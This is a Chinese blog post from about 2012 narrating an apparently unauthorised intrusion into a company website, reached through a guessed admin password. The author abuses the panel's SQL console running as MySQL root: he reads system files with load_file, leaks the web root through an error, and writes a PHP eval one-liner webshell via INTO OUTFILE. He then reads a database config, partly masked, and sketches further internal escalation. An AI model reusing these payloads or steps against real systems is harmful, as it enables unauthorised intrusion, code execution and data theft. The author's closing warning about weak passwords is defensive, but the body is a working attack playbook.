标题:记一次sql查询利用不算艰难曲折渗透的过程

作者:kkshell

话说这天看linux代码,看的头大,翻看了很多资料,连传说中的神书《Understanding Linux Kernel》也翻了,无奈英文水平不过关,还是看的一知半解。正想着要不要出去走走,summer发来一后台地址,让我给他拿webshell,今年我几乎没搞过入侵渗透,除非有特别的目的,因为我厌倦了扫描,爆破以及收集已知漏洞和漫长的等待,有点时间还是觉得应该多研究一下编程和linux,多研究下自己喜爱的技术。这个网站是php程序开发的,本来进去以后看看没有思路,有思路就和summer说下,让他去搞。

进去以后,如下图:

记一次sql查询利用不算艰难曲折渗透的过程

左边是菜单,右边是服务器系统信息,看到数据库管理,心想着八成有戏,看着熟悉的数据备份,速度点开,发现是mysql表的备份,糊涂了,php+mysql当然不像access了,上传图片备份webshell都是三两步的操作。这个感觉不怎么好利用,但幸好有sql查询,呵呵,你懂得,利用数据库你可以的一些你想不到的东西,这个可比注入省事多了,甚至还可以读取配置文件,直接导出一句话马,当然前提得有足够的权限,废话不多说,行动。

首先查询下有哪些数据库,执行select schema_name from information_schema.SCHEMATA查询出有下列数据库,如图:

记一次sql查询利用不算艰难曲折渗透的过程

再查下当前数据库下有哪些表,执行:select table_name from information_schema.tables where table_shema=’shaklee’得到下列表名,如图:

记一次sql查询利用不算艰难曲折渗透的过程

当然查询这些信息对于拿shell几乎是没什么帮助的,但我们搞入侵并不是仅仅拿shell,最重要的是学习,熟悉下mysql的查询语句,巩固自己的基础知识。前面说了,用load_file读取配置文件或者是首页php文件都需要有相应的文件读取权限,我们继续构造sql语句查询,select @@global.version_compile_os from mysql.user、select user(),是win32系统,数据库权限是root权限,如下图:

记一次sql查询利用不算艰难曲折渗透的过程  

记一次sql查询利用不算艰难曲折渗透的过程

Root权限这可是威力巨大呀,用好了几乎可以干任何事情,导出一句户马看来也是势在必得了,哈哈哈!正高兴着猛然想到,还不知道网站物理路径呢,高兴半天原来还是一场空啊,其实想要得到物理路径,有两个方法,猜路径和报错获得,既然能爆错我是从来不用猜的,打开网站,寻找动态网页链接,加单引号,见and 1=2,加各种报错字符,均未见效果,又尝试再搜索栏插入跨站语句,也未见效果,于是果断拿出扫描器加手工判断寻找,折腾了半个小时,未果。于是问summer他这管理员权限是怎么来的,当得知他密码是猜出来的以后,我145度角仰望天空,默默流泪。网站管理员们,你们听到了吗,什么是弱口令,这就是弱口令啊,这就是!!!好吧!合着这高中生也无聊,没事猜个后台密码,打打篮球多好。

没办法,我也只能猜了,首先读取boot.ini,执行语句如下:select load_file(‘c:/boot.ini’)得到如下结果,记得这里要用正斜杠,反斜杠得不出结果,如图:

记一次sql查询利用不算艰难曲折渗透的过程

系统是win2003的,可不知道为什么,我在bt5里面用nmap扫出来的是win7,心想还有win7做服务器的,可能是防火墙什么的做了修改,下面我们就试着读取系统文件吧,像什么windows下的setuplog,system.ini啦,虽然也知道这几乎是没用的,但有希望我们就不能放弃,最后读取的setuplog 都是些无用信息,找别的方法吧,什么方法呢,root数据库权限的诱惑蛮大的,放弃是不可能的。读取下cmd.exe吧,呵呵,无聊的,执行语句:select load_file(‘c:/windows/system/cmd.exe’)。如图:

记一次sql查询利用不算艰难曲折渗透的过程

从图中看出执行后得出的编码量是蛮大的,我的浏览器有些卡了,本本风扇也不停的转,这个情况下,我还正想知道,数据量再大一点是个什么效果,崩溃,亦或是…… 啥话也不说,直接在后面加上 from information_schema.TABLES,大家知道查询information_schema.TABLES表名是很多的,在那么多表名里显示cmd.exe的编码,那数据量是不是更大了呢,呵呵。完整语句是:select load_file(‘c:/windows/system32/cmd.exe’)  from information_schema.TABLES。得到的结果还算出乎我的意料:

记一次sql查询利用不算艰难曲折渗透的过程

是溢出,溢出V5,溢出神奇,溢出无处不在。虽然这里面只是溢出爆错得到物理路径,但这正是我们需要的,正是得来全不费功夫啊,从图中我们可以得知,物理路径是:E:\YIT\web\,这要是让我猜,我是死都猜不出,那无聊的高中生summer我想也未必,呵呵,赶紧的,导出一句话马,shell就到手了,执行select '<?php eval($_POST[cmd])?>' into outfile ' E:/YIT/web/new/includes/kk.php'导出小马kk.php,如下图:

记一次sql查询利用不算艰难曲折渗透的过程

但在导出过程中出现警告,说是参数是一个无效的结果资源,可能是没有回显,但其实是导出成功了,以防万一,再导一次,如图:

记一次sql查询利用不算艰难曲折渗透的过程

这回是出错了,提示文件kkk.php已存在,好的,那就菜刀连接吧,怀着激动的心情拽出菜刀连接上去,如图:

记一次sql查询利用不算艰难曲折渗透的过程

这个明显权限设置的不咋的,c、e、f都可以浏览,还能执行命令,当然,只能执行ver、set、ipconfig等命令,经过一番探测,得知网站ip是:192.168.124.46 网关是192.168.124.20

Netstat  –an得知数据库服务器是10.12.1.17,端口是3306,而本web服务器的3389服务也开着,如图:

记一次sql查询利用不算艰难曲折渗透的过程

根据web文件夹找到connection里面的配置文件conf.ini,查看得到如下信息:

dbHost=10.12.1.17

dbUser=root

dbPass=d*****16999

dbName=S******e

dbPort=3306

证实了刚才的探测,公司的内网,如果继续渗透的话,也是很容易,pr提权等,这个没试过,可能不行,成功的话,再端口转发,拿下web服务器的3389,连接10.12.1.17服务器,root加udf提权,拿下数据库服务器,然后进行嗅探,这都是常规思路,也是最经典的方法,在这里就不赘述,此次渗透没什么难度,要说难度也就是物理路径的获取,此套源码本人测试还算安全,常见的sql,xss等都没发现(也可能是水平有限),但是一个最致命的弱口令导致了网站的沦陷,甚至导致内网被渗透,公司机密信息泄露,都是很严重的后果,那句什么话来着,什么大堤,什么蚁穴说的就是这个道理

本文原创,作者:kkshell,QQ:776336280。

邮箱:chenglun88@126.com,或者:776336280@qq.com,欢迎来信或QQ交流。

留言评论(旧系统):

eleven @ 2012-08-15 09:11:24

深夜在T00LS上看资料。无意中点击进来的。看了这篇文章发现貌似存在点问题。web和DB分离的情况下又怎么能用into outfile来导出一句话呢? 难道是最新的技术?

本站回复:

奇怪,确实蛋疼,数据库服务器为什么是:10.12.1.17?

kkshell @ 2012-08-20 23:01:15

话说t00ls都转载俺的文章了,俺有点不好意思!文章里面的疑问90sec同样有童鞋问了,是俺的笔误,俺没注意,服务器本身的mysql数据库导出来的

本站回复:

t00ls早已名存实亡了,很久都没人去了。 ╮(╯_╰)╭